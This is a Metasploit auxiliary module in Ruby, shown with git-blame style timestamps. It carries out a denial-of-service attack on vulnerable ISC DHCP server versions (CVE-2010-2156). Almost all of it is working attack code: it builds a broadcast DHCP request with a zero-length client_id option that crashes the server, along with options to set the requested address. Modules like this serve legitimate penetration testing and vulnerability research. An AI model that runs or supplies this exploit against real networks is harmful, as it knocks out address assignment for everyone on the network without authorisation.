2011-04-11 15:56:39 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2011-04-11 15:56:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Auxiliary::Dos
|
|
|
|
include Msf::Exploit::Capture
|
2011-04-11 15:56:39 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize
|
|
|
|
super(
|
|
|
|
'Name' => 'ISC DHCP Zero Length ClientID Denial of Service Module',
|
|
|
|
'Description' => %q{
|
|
|
|
This module performs a Denial of Service Attack against the ISC DHCP server,
|
|
|
|
versions 4.1 before 4.1.1-P1 and 4.0 before 4.0.2-P1. It sends out a DHCP Request
|
|
|
|
message with a 0-length client_id option for an IP address on the appropriate range
|
|
|
|
for the dhcp server. When ISC DHCP Server tries to hash this value it exits
|
|
|
|
abnormally.
|
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'sid', # Original POC
|
|
|
|
'theLightCosine' # msf module
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2010-2156' ],
|
|
|
|
[ 'OSVDB', '65246'],
|
|
|
|
[ 'EDB', '14185']
|
|
|
|
]
|
|
|
|
)
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptAddress.new('RIP', [true, 'A valid IP to request from the server'])
|
|
|
|
]
|
|
|
|
)
|
|
|
|
deregister_options('RHOST','FILTER','PCAPFILE','SNAPLEN','TIMEOUT')
|
|
|
|
end
|
2011-04-11 15:56:39 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def run
|
|
|
|
open_pcap
|
|
|
|
print_status("Creating DHCP Request with 0-length ClientID")
|
|
|
|
p = PacketFu::UDPPacket.new
|
|
|
|
p.ip_daddr = "255.255.255.255"
|
|
|
|
p.udp_sport = 68
|
|
|
|
p.udp_dport = 67
|
2011-04-11 15:56:39 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# TODO: Get a DHCP parser into PacketFu
|
|
|
|
chaddr = "\xaa\xaa\xaa\xaa\xaa\xaa"
|
|
|
|
dhcp_payload = "\x63\x82\x53\x63\x35\x01\x03\x3d\x00\xff"
|
|
|
|
p.payload = dhcp_req(chaddr,dhcp_payload)
|
|
|
|
p.recalc
|
|
|
|
print_status("Sending malformed DHCP request...")
|
|
|
|
capture_sendto(p, '255.255.255.255')
|
|
|
|
close_pcap
|
|
|
|
end
|
2011-07-26 01:29:21 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def dhcp_req(chaddr,payload)
|
|
|
|
req = "\x00" * 236
|
|
|
|
req[0,3] = "\x01\x01\x06" # Boot request on Eth with hw len of 6
|
|
|
|
req[12,4] = Rex::Socket.addr_aton(datastore['RIP'])
|
|
|
|
req[28,6] = chaddr
|
|
|
|
req + payload
|
|
|
|
end
|
2011-07-26 01:29:21 +00:00
|
|
|
|
2011-04-11 18:12:17 +00:00
|
|
|
end
|